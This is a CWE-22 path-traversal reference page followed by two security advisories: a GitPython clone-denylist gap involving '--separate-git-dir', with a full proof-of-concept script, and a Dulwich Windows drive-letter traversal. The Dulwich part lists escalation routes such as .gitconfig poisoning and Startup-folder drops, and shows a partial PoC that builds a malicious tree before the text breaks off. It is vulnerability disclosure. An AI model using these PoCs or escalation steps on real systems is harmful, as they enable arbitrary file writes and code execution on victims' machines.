CWE-22
Weakness Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin" to access unexpected files. This is referred to as absolute path traversal.
Mapping guidance
This CWE entry might have children that would be more appropriate.
Examine children of this entry to see if there is a better fit. Consider children such as CWE-23 (or its descendants) for relative path traversal, or CWE-36 for absolute path traversal.
Relationships and members
Modes of introduction
Detection methods
Automated Static Analysis
Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the product's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.
Effectiveness: High
Manual Static Analysis
Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.
Effectiveness: High
Automated Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
Binary Weakness Analysis - including disassembler + source code weakness analysis
Effectiveness: High
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: High
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Fuzz Tester
Framework-based Fuzzer
Effectiveness: High
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Manual Source Code Review (not inspections)
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Effectiveness: High
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: High
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Effectiveness: High
Notes
Other
In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to apply to a wider range of files. For example, the product may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.
Relationship
Pathname equivalence can be regarded as a type of canonicalization error.
Relationship
Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).
Terminology
Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories.
Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.
Research Gap
Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.
Research Gap
Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable.
Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.
Content history
Identified weakness in Perl demonstrative example
Provided diagram to improve CWE usability
Identified weakness in "good code" for Python demonstrative example
Provided a demonstrative example in PHP
updated Potential_Mitigations, Time_of_Introduction
Suggested OWASP Top Ten 2004 mapping
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updated Description
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updated Demonstrative_Examples
updated Affected_Resources, Causal_Nature, Likelihood_of_Exploit, References, Relationships, Relevant_Properties, Taxonomy_Mappings
updated References, Relationships
updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
updated Related_Attack_Patterns, Relationships, Type
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16181 vulnerabilities reference this CWE, most recent first.
GHSA-8MCC-HRX5-HVXC
Vulnerability from github – Published: 2026-09-08 18:41 – Updated: 2026-09-08 18:41- CWE: CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the "escapes intended base directory" sense)
- Affected component:
git/repo/base.py,Repo.unsafe_git_clone_options(class attribute, lines 153-165) andRepo._clone()(lines 1477-1520), reached via the publicRepo.clone_from()(line 1626) andRepo.clone()(line 1567) APIs. - Affected version: GitPython at HEAD (
9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION3.1.58)
Reachability
Repo.clone_from(url, to_path, **kwargs) (and Repo.clone()) forward arbitrary keyword arguments to the underlying git clone invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (Git._option_candidates) and checks it against a denylist, Repo.unsafe_git_clone_options, via Git.check_unsafe_options() — unless the caller passes allow_unsafe_options=True. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 → 2026-08-05) have repeatedly found incomplete or bypassable for other options (--template, --upload-pack, --config, --exec, --output, --index-output, --pathspec-from-file, etc.).
git clone also accepts --separate-git-dir=<path>, which redirects the repository's entire .git metadata directory to an arbitrary, caller-controlled filesystem path, leaving only a gitlink text file (gitdir: <path>) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython's own code: Repo.unsafe_git_init_options (line 145-150) blocks --separate-git-dir for Repo.init(), with the comment "Redirects the repository metadata to a caller-controlled path". The Repo._clone()/clone()/clone_from() docstring (line 1450-1452) is even more explicit:
:param allow_unsafe_options:
Allow unsafe options to be used, such as ``--template`` and
``--separate-git-dir``.
i.e. the maintainers' own documentation states that allow_unsafe_options=False (the default) is supposed to block --separate-git-dir for clone. But Repo.unsafe_git_clone_options does not contain it:
unsafe_git_clone_options = [
"--upload-pack",
"-u",
"--config",
"-c",
"--template",
"--bundle-uri",
]
So any application that forwards a separate_git_dir (or separate-git-dir) kwarg into Repo.clone_from() / Repo.clone() — e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling --template/--upload-pack/--config entries in this same list — gets no protection at all for --separate-git-dir, even with the default allow_unsafe_options=False.
Root cause
Parity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): unsafe_git_init_options correctly lists --separate-git-dir; unsafe_git_clone_options, covering the same option on a different git subcommand that also accepts it, does not — despite the function's own docstring claiming otherwise. This is the same "denylist omits an equally-dangerous sibling option" pattern already responsible for GHSA-539m-9xh6-q6rr (archive denylist missing --add-file/--add-virtual-file) and GHSA-6p8h-3wgx-97gf (clone denylist missing --template, since fixed).
Exploit path
- Attacker-controlled input reaches a
separate_git_dir=...(or equivalently"separate-git-dir") keyword argument passed intoRepo.clone_from()/Repo.clone()by the host application, withallow_unsafe_optionsleft at its defaultFalse. Git._option_candidates()renders this as--separate-git-dirandGit.check_unsafe_options()checks it againstRepo.unsafe_git_clone_options— no match, noUnsafeOptionErrorraised.Git.transform_kwargs()renders the same kwarg into the real command line as--separate-git-dir=<attacker path>and GitPython executesgit clone -v --separate-git-dir=<attacker path> -- <url> <dest>viasubprocess(no shell).gititself creates the full repository metadata tree (config,description,HEAD,hooks/,index,objects/,refs/,packed-refs,logs/) at the attacker-specified path — which can be any path outside the intended clone destination that the process has permission to create — and leaves a gitlink file at the intended destination pointing to it.
Impact
Arbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity GHSA-hmq2-w58f-27jc ("Arbitrary Git Repository Creation Outside the Working Tree", CVSS 8.2). Concretely:
- Planting a git repository structure (including a hooks/ directory) at an attacker-chosen location outside the sandboxed clone destination the calling application intended to confine the operation to.
- If the attacker-chosen path collides with an existing directory the process can write into (e.g. another repository's .git, a shared cache path, a predictable temp location), the clone silently populates/overwrites config, HEAD, hooks/*, refs/*, packed-refs, and index there — an integrity violation of a resource outside the intended destination.
- Combined with any later operation that runs git against that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for --template in GHSA-9rj7-rf2p-w77r.
Preconditions
- The calling application forwards a caller-influenced value into a
separate_git_dirkwarg ofRepo.clone_from()/Repo.clone()(or into themulti_optionslist as a raw--separate-git-dir=...token) without itself validating/rejecting it, and does not passallow_unsafe_options=Trueintentionally. This is the identical trust model GitPython's own denylist already defends for--template/--upload-pack/--config/--bundle-urion the very same code path — i.e. this option was clearly meant to be covered by the same guard and was simply omitted. - No authentication/role requirement inside GitPython itself; the vulnerable code runs the moment the host application calls the API with the option present.
Evidence
git/repo/base.py:145-151—unsafe_git_init_optionsincludes"--separate-git-dir"with the comment "Redirects the repository metadata to a caller-controlled path".git/repo/base.py:153-165—unsafe_git_clone_options(the list actually enforced on_clone) does not include"--separate-git-dir".git/repo/base.py:1450-1452— docstring ofclone_from/cloneexplicitly documents--separate-git-diras one of the optionsallow_unsafe_optionsis supposed to gate.git/repo/base.py:1495-1518—_clone()special-casesseparate_git_dironly toGit.polish_url()it (path normalization for URL-like values), then runs it throughGit.check_unsafe_options(options=..., unsafe_options=cls.unsafe_git_clone_options)— which, per the list above, does not flag it.- PoC (
gitpython-001-poc.py, embedded below) run against this exact checkout confirms the option reaches the realgit clonesubprocess unguarded and creates a full git directory outside the destination path, withallow_unsafe_optionsat its defaultFalse.
False-positive check (adversarial re-read)
- Is there a value-level check that would still stop this? No —
check_unsafe_optionsonly inspects option names (via_canonicalize_option_name) against the denylist; it performs no filesystem/path validation onseparate_git_dir's value, and no other guard in_clone()touches this kwarg besides theGit.polish_url()normalization (which does not reject arbitrary paths). - Is
--separate-git-dirperhaps a no-op or safely sandboxed forclonespecifically (unlikeinit)? No — confirmed empirically: the option reaches the realgitbinary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path. - Could this be the exact bug already covered by one of the 26 published GHSAs? Checked all 26 entries in
_known-advisories.json(Filter 0):GHSA-9rj7-rf2p-w77rcovers--templateinRepo.init;GHSA-6p8h-3wgx-97gfcovers--templatein clone (already fixed, present inunsafe_git_clone_options);GHSA-hmq2-w58f-27jccovers arbitrary repo creation via unvalidated.gitmodulessubmodule names (a different code path —Submodule, notRepo.clone_from()kwargs). None reference--separate-git-diron the clone path. This is a distinct, currently-unpatched gap. - Does this require an unrealistic precondition? The precondition (host app forwards a kwarg into
clone_from/clone) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (--template,--upload-pack,--config,--bundle-uri) — i.e. it is the same threat model the guard exists to cover, just missing one entry. - Verdict: no concrete blocker found. CONFIRMED.
Remediation
Add "--separate-git-dir" (and its - alias if git ever adds one — currently there is none) to Repo.unsafe_git_clone_options in git/repo/base.py, matching unsafe_git_init_options. Since Repo._clone() already special-cases separate_git_dir for Git.polish_url() normalization, the fix is a one-line addition to the existing list, consistent with how GHSA-6p8h-3wgx-97gf added --template to the same list.
Confidence
High. Root cause is a one-line, unambiguous omission the maintainers' own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found.
Proof-of-Concept source (gitpython-001-poc.py)
#!/usr/bin/env python3
"""
GITPYTHON-001 PoC: Repo.clone_from(separate_git_dir=...) is not in
unsafe_git_clone_options, so it reaches `git clone` unguarded and writes a
full git directory (config, hooks/, objects/, refs/, ...) to an
attacker-controlled path OUTSIDE the intended destination directory, with
allow_unsafe_options left at its default of False.
Run against the GitPython source tree under test, e.g.:
PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-001-poc.py <workdir>
Benign: only writes/reads inside the given workdir. No destructive/exfiltrating
payload. Exits non-zero and prints "NOT VULNERABLE" if the guard blocks the option
or the write does not escape the destination directory.
"""
import os
import sys
import subprocess
def main():
workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-001-poc"
src = os.path.join(workdir, "src")
dest = os.path.join(workdir, "dest")
sentinel_dir = os.path.join(workdir, "OUTSIDE_SENTINEL")
target_gitdir = os.path.join(sentinel_dir, "redirected.git")
for p in (src, dest, sentinel_dir):
os.makedirs(p, exist_ok=True)
# Minimal benign source repo to clone from.
subprocess.run(["git", "init", "-q", "-b", "main", src], check=True)
subprocess.run(["git", "-C", src, "config", "user.email", "test@example.com"], check=True)
subprocess.run(["git", "-C", src, "config", "user.name", "Test"], check=True)
with open(os.path.join(src, "file.txt"), "w") as f:
f.write("hello\n")
subprocess.run(["git", "-C", src, "add", "file.txt"], check=True)
subprocess.run(["git", "-C", src, "commit", "-q", "-m", "init"], check=True)
import git # gitpython under test
print("unsafe_git_clone_options =", git.Repo.unsafe_git_clone_options)
assert "--separate-git-dir" not in git.Repo.unsafe_git_clone_options, (
"guard now includes --separate-git-dir; PoC no longer applicable, target patched"
)
try:
repo = git.Repo.clone_from(src, dest, separate_git_dir=target_gitdir)
except git.exc.UnsafeOptionError as e:
print("NOT VULNERABLE: blocked by UnsafeOptionError:", e)
sys.exit(1)
wrote_outside = os.path.isdir(os.path.join(target_gitdir, "hooks")) and os.path.isfile(
os.path.join(target_gitdir, "config")
)
gitlink_points_outside = False
with open(os.path.join(dest, ".git")) as f:
gitlink = f.read().strip()
gitlink_points_outside = target_gitdir in gitlink
print("repo.git_dir =", repo.git_dir)
print("wrote git directory outside dest (sentinel) =", wrote_outside)
print("dest/.git gitlink points outside dest =", gitlink_points_outside)
if wrote_outside and gitlink_points_outside:
print("VULNERABLE: git directory created at attacker-controlled path "
f"outside the clone destination: {target_gitdir}")
sys.exit(0)
else:
print("NOT VULNERABLE: sentinel not observed")
sys.exit(1)
if __name__ == "__main__":
main()
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.58"
},
"package": {
"ecosystem": "PyPI",
"name": "GitPython"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.59"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-78677"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-08T18:41:52Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "- **CWE:** CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the \"escapes intended base directory\" sense)\n- **Affected component:** `git/repo/base.py`, `Repo.unsafe_git_clone_options` (class attribute, lines 153-165) and `Repo._clone()` (lines 1477-1520), reached via the public `Repo.clone_from()` (line 1626) and `Repo.clone()` (line 1567) APIs.\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\n`Repo.clone_from(url, to_path, **kwargs)` (and `Repo.clone()`) forward arbitrary keyword arguments to the underlying `git clone` invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (`Git._option_candidates`) and checks it against a denylist, `Repo.unsafe_git_clone_options`, via `Git.check_unsafe_options()` \u2014 *unless* the caller passes `allow_unsafe_options=True`. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 \u2192 2026-08-05) have repeatedly found incomplete or bypassable for other options (`--template`, `--upload-pack`, `--config`, `--exec`, `--output`, `--index-output`, `--pathspec-from-file`, etc.).\n\n`git clone` also accepts `--separate-git-dir=\u003cpath\u003e`, which redirects the repository\u0027s entire `.git` metadata directory to an **arbitrary, caller-controlled filesystem path**, leaving only a gitlink text file (`gitdir: \u003cpath\u003e`) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython\u0027s own code: `Repo.unsafe_git_init_options` (line 145-150) blocks `--separate-git-dir` for `Repo.init()`, with the comment *\"Redirects the repository metadata to a caller-controlled path\"*. The `Repo._clone()`/`clone()`/`clone_from()` docstring (line 1450-1452) is even more explicit:\n\n```\n:param allow_unsafe_options:\n Allow unsafe options to be used, such as ``--template`` and\n ``--separate-git-dir``.\n```\n\ni.e. the maintainers\u0027 own documentation states that `allow_unsafe_options=False` (the default) is supposed to block `--separate-git-dir` for clone. But **`Repo.unsafe_git_clone_options` does not contain it**:\n\n```python\nunsafe_git_clone_options = [\n \"--upload-pack\",\n \"-u\",\n \"--config\",\n \"-c\",\n \"--template\",\n \"--bundle-uri\",\n]\n```\n\nSo any application that forwards a `separate_git_dir` (or `separate-git-dir`) kwarg into `Repo.clone_from()` / `Repo.clone()` \u2014 e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling `--template`/`--upload-pack`/`--config` entries in this same list \u2014 gets **no protection at all** for `--separate-git-dir`, even with the default `allow_unsafe_options=False`.\n\n## Root cause\nParity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): `unsafe_git_init_options` correctly lists `--separate-git-dir`; `unsafe_git_clone_options`, covering the same option on a different git subcommand that also accepts it, does not \u2014 despite the function\u0027s own docstring claiming otherwise. This is the same \"denylist omits an equally-dangerous sibling option\" pattern already responsible for `GHSA-539m-9xh6-q6rr` (`archive` denylist missing `--add-file`/`--add-virtual-file`) and `GHSA-6p8h-3wgx-97gf` (`clone` denylist missing `--template`, since fixed).\n\n## Exploit path\n1. Attacker-controlled input reaches a `separate_git_dir=...` (or equivalently `\"separate-git-dir\"`) keyword argument passed into `Repo.clone_from()` / `Repo.clone()` by the host application, with `allow_unsafe_options` left at its default `False`.\n2. `Git._option_candidates()` renders this as `--separate-git-dir` and `Git.check_unsafe_options()` checks it against `Repo.unsafe_git_clone_options` \u2014 no match, no `UnsafeOptionError` raised.\n3. `Git.transform_kwargs()` renders the same kwarg into the real command line as `--separate-git-dir=\u003cattacker path\u003e` and GitPython executes `git clone -v --separate-git-dir=\u003cattacker path\u003e -- \u003curl\u003e \u003cdest\u003e` via `subprocess` (no shell).\n4. `git` itself creates the full repository metadata tree (`config`, `description`, `HEAD`, `hooks/`, `index`, `objects/`, `refs/`, `packed-refs`, `logs/`) at the attacker-specified path \u2014 which can be **any path outside the intended clone destination** that the process has permission to create \u2014 and leaves a gitlink file at the intended destination pointing to it.\n\n## Impact\nArbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity `GHSA-hmq2-w58f-27jc` (\"Arbitrary Git Repository Creation Outside the Working Tree\", CVSS 8.2). Concretely:\n- Planting a git repository structure (including a `hooks/` directory) at an attacker-chosen location outside the sandboxed clone destination the calling application intended to confine the operation to.\n- If the attacker-chosen path collides with an existing directory the process can write into (e.g. another repository\u0027s `.git`, a shared cache path, a predictable temp location), the clone silently populates/overwrites `config`, `HEAD`, `hooks/*`, `refs/*`, `packed-refs`, and `index` there \u2014 an integrity violation of a resource outside the intended destination.\n- Combined with any later operation that runs `git` against that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for `--template` in `GHSA-9rj7-rf2p-w77r`.\n\n## Preconditions\n- The calling application forwards a caller-influenced value into a `separate_git_dir` kwarg of `Repo.clone_from()`/`Repo.clone()` (or into the `multi_options` list as a raw `--separate-git-dir=...` token) without itself validating/rejecting it, and does not pass `allow_unsafe_options=True` intentionally. This is the identical trust model GitPython\u0027s own denylist already defends for `--template`/`--upload-pack`/`--config`/`--bundle-uri` on the very same code path \u2014 i.e. this option was clearly meant to be covered by the same guard and was simply omitted.\n- No authentication/role requirement inside GitPython itself; the vulnerable code runs the moment the host application calls the API with the option present.\n\n## Evidence\n- `git/repo/base.py:145-151` \u2014 `unsafe_git_init_options` includes `\"--separate-git-dir\"` with the comment \"Redirects the repository metadata to a caller-controlled path\".\n- `git/repo/base.py:153-165` \u2014 `unsafe_git_clone_options` (the list actually enforced on `_clone`) does **not** include `\"--separate-git-dir\"`.\n- `git/repo/base.py:1450-1452` \u2014 docstring of `clone_from`/`clone` explicitly documents `--separate-git-dir` as one of the options `allow_unsafe_options` is supposed to gate.\n- `git/repo/base.py:1495-1518` \u2014 `_clone()` special-cases `separate_git_dir` only to `Git.polish_url()` it (path normalization for URL-like values), then runs it through `Git.check_unsafe_options(options=..., unsafe_options=cls.unsafe_git_clone_options)` \u2014 which, per the list above, does not flag it.\n- PoC (`gitpython-001-poc.py`, embedded below) run against this exact checkout confirms the option reaches the real `git clone` subprocess unguarded and creates a full git directory outside the destination path, with `allow_unsafe_options` at its default `False`.\n\n## False-positive check (adversarial re-read)\n- **Is there a value-level check that would still stop this?** No \u2014 `check_unsafe_options` only inspects option *names* (via `_canonicalize_option_name`) against the denylist; it performs no filesystem/path validation on `separate_git_dir`\u0027s value, and no other guard in `_clone()` touches this kwarg besides the `Git.polish_url()` normalization (which does not reject arbitrary paths).\n- **Is `--separate-git-dir` perhaps a no-op or safely sandboxed for `clone` specifically (unlike `init`)?** No \u2014 confirmed empirically: the option reaches the real `git` binary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path.\n- **Could this be the exact bug already covered by one of the 26 published GHSAs?** Checked all 26 entries in `_known-advisories.json` (Filter 0): `GHSA-9rj7-rf2p-w77r` covers `--template` in `Repo.init`; `GHSA-6p8h-3wgx-97gf` covers `--template` in clone (already fixed, present in `unsafe_git_clone_options`); `GHSA-hmq2-w58f-27jc` covers arbitrary repo creation via unvalidated **`.gitmodules` submodule names** (a different code path \u2014 `Submodule`, not `Repo.clone_from()` kwargs). None reference `--separate-git-dir` on the clone path. This is a distinct, currently-unpatched gap.\n- **Does this require an unrealistic precondition?** The precondition (host app forwards a kwarg into `clone_from`/`clone`) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (`--template`, `--upload-pack`, `--config`, `--bundle-uri`) \u2014 i.e. it is the same threat model the guard exists to cover, just missing one entry.\n- Verdict: no concrete blocker found. **CONFIRMED.**\n\n## Remediation\nAdd `\"--separate-git-dir\"` (and its `-` alias if git ever adds one \u2014 currently there is none) to `Repo.unsafe_git_clone_options` in `git/repo/base.py`, matching `unsafe_git_init_options`. Since `Repo._clone()` already special-cases `separate_git_dir` for `Git.polish_url()` normalization, the fix is a one-line addition to the existing list, consistent with how `GHSA-6p8h-3wgx-97gf` added `--template` to the same list.\n\n## Confidence\nHigh. Root cause is a one-line, unambiguous omission the maintainers\u0027 own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found.\n\n\n## Proof-of-Concept source (`gitpython-001-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-001 PoC: Repo.clone_from(separate_git_dir=...) is not in\nunsafe_git_clone_options, so it reaches `git clone` unguarded and writes a\nfull git directory (config, hooks/, objects/, refs/, ...) to an\nattacker-controlled path OUTSIDE the intended destination directory, with\nallow_unsafe_options left at its default of False.\n\nRun against the GitPython source tree under test, e.g.:\n PYTHONPATH=\"\u003crepo\u003e:\u003crepo\u003e/gitdb:\u003crepo\u003e/smmap\" python3 gitpython-001-poc.py \u003cworkdir\u003e\n\nBenign: only writes/reads inside the given workdir. No destructive/exfiltrating\npayload. Exits non-zero and prints \"NOT VULNERABLE\" if the guard blocks the option\nor the write does not escape the destination directory.\n\"\"\"\nimport os\nimport sys\nimport subprocess\n\n\ndef main():\n workdir = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/gitpython-001-poc\"\n src = os.path.join(workdir, \"src\")\n dest = os.path.join(workdir, \"dest\")\n sentinel_dir = os.path.join(workdir, \"OUTSIDE_SENTINEL\")\n target_gitdir = os.path.join(sentinel_dir, \"redirected.git\")\n\n for p in (src, dest, sentinel_dir):\n os.makedirs(p, exist_ok=True)\n\n # Minimal benign source repo to clone from.\n subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", src], check=True)\n subprocess.run([\"git\", \"-C\", src, \"config\", \"user.email\", \"test@example.com\"], check=True)\n subprocess.run([\"git\", \"-C\", src, \"config\", \"user.name\", \"Test\"], check=True)\n with open(os.path.join(src, \"file.txt\"), \"w\") as f:\n f.write(\"hello\\n\")\n subprocess.run([\"git\", \"-C\", src, \"add\", \"file.txt\"], check=True)\n subprocess.run([\"git\", \"-C\", src, \"commit\", \"-q\", \"-m\", \"init\"], check=True)\n\n import git # gitpython under test\n\n print(\"unsafe_git_clone_options =\", git.Repo.unsafe_git_clone_options)\n assert \"--separate-git-dir\" not in git.Repo.unsafe_git_clone_options, (\n \"guard now includes --separate-git-dir; PoC no longer applicable, target patched\"\n )\n\n try:\n repo = git.Repo.clone_from(src, dest, separate_git_dir=target_gitdir)\n except git.exc.UnsafeOptionError as e:\n print(\"NOT VULNERABLE: blocked by UnsafeOptionError:\", e)\n sys.exit(1)\n\n wrote_outside = os.path.isdir(os.path.join(target_gitdir, \"hooks\")) and os.path.isfile(\n os.path.join(target_gitdir, \"config\")\n )\n gitlink_points_outside = False\n with open(os.path.join(dest, \".git\")) as f:\n gitlink = f.read().strip()\n gitlink_points_outside = target_gitdir in gitlink\n\n print(\"repo.git_dir =\", repo.git_dir)\n print(\"wrote git directory outside dest (sentinel) =\", wrote_outside)\n print(\"dest/.git gitlink points outside dest =\", gitlink_points_outside)\n\n if wrote_outside and gitlink_points_outside:\n print(\"VULNERABLE: git directory created at attacker-controlled path \"\n f\"outside the clone destination: {target_gitdir}\")\n sys.exit(0)\n else:\n print(\"NOT VULNERABLE: sentinel not observed\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n\n```",
"id": "GHSA-8mcc-hrx5-hvxc",
"modified": "2026-09-08T18:41:53Z",
"published": "2026-09-08T18:41:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78677"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/pull/2210"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/b68afff45af0f49e79a3e2d2162018986b37ad5d"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3787.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-separate-git-dir"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "GitPython: clone_from()/clone() omit --separate-git-dir from unsafe_git_clone_options, enabling arbitrary git-directory creation outside the destination"
}
GHSA-8MCX-5RQC-VHMF
Vulnerability from github – Published: 2026-10-02 19:14 – Updated: 2026-10-02 19:14Affected files
dulwich/index.py(Methods:validate_path_element_ntfs,_tree_to_fs_path)dulwich/porcelain/__init__.py(Method:_checked_worktree_path)
Description / Summary
A High-severity Path Traversal vulnerability exists in Dulwich's checkout logic when running on Windows. The functions responsible for validating NTFS paths strictly reject .git variants, Alternate Data Streams (ADS), git~1 short names, and reserved device names, but they completely fail to check for DOS drive letter prefixes.
A malicious Git tree can contain an entry named C:. When Dulwich processes this tree on a Windows client, the string passes the validate_path_element_ntfs check. Later, _tree_to_fs_path passes this path to os.path.join(root, b"C:\\\\Users\\\\...").
On Windows, if the second argument to os.path.join contains an absolute drive letter, the root path is completely discarded. As a result, Dulwich writes the repository file to the absolute path outside of the intended Git worktree.
While the standard C git client explicitly blocks this via has_dos_drive_prefix() in path.c, Dulwich lacks this protection. Because Git trees are cross-platform, an attacker can author a malicious repository on Linux and wait for a Windows victim (or CI runner) to clone it.
Potential impact
This vulnerability allows an attacker to achieve Arbitrary File Write, which can trivially be escalated to Remote Code Execution (RCE) or total system compromise on the victim's Windows machine.
Attack vectors include:
1. Git Config Poisoning (RCE): Writing a malicious C:\\Users\\<victim>\\.gitconfig file to set core.sshCommand to an arbitrary executable, granting RCE the next time the user interacts with Git.
2. Persistence (RCE): Dropping a malicious executable into C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\.
3. SSH Key Overwrite: Writing to C:\\Users\\<victim>\\.ssh\\authorized_keys to compromise remote servers accessible by the victim.
4. CI/CD Compromise: If a Windows-based CI/CD runner (e.g., GitHub Actions) automatically clones a malicious pull request, the runner is instantly compromised, potentially leaking repository secrets.
Proof of Concept (PoC)
The following Python script (runnable on Linux) generates a malicious Git repository containing a payload that targets Windows clients.
from dulwich.objects import Blob, Tree, Commit
from dulwich.repo import Repo
import os, tempfile
repo_path = tempfile.mkdtemp()
repo = Repo.init(repo_path)
# 1. Build the payload blob.
blob = Blob(); blob.data = b"pwned-by-drive-letter\\n"
repo.object_store.add_object(blob)
# 2. Build the malicious tree hierarchy: C:/Users/victim/evil.txt
evil_txt = Tree(); evil_txt[b"evil.txt"] = (0o100644, blob.id)
repo.object_store.add_object(evil_txt)
victim_dir = Tree(); victim_dir[b"victim"] = (0o040000, evil_txt.id)
repo.object_store.add_object(victim_dir)
users_dir = Tree(); users_dir[b"Users"] = (0o040000, victim_dir.id)
repo.object_store.add_object(users_dir)
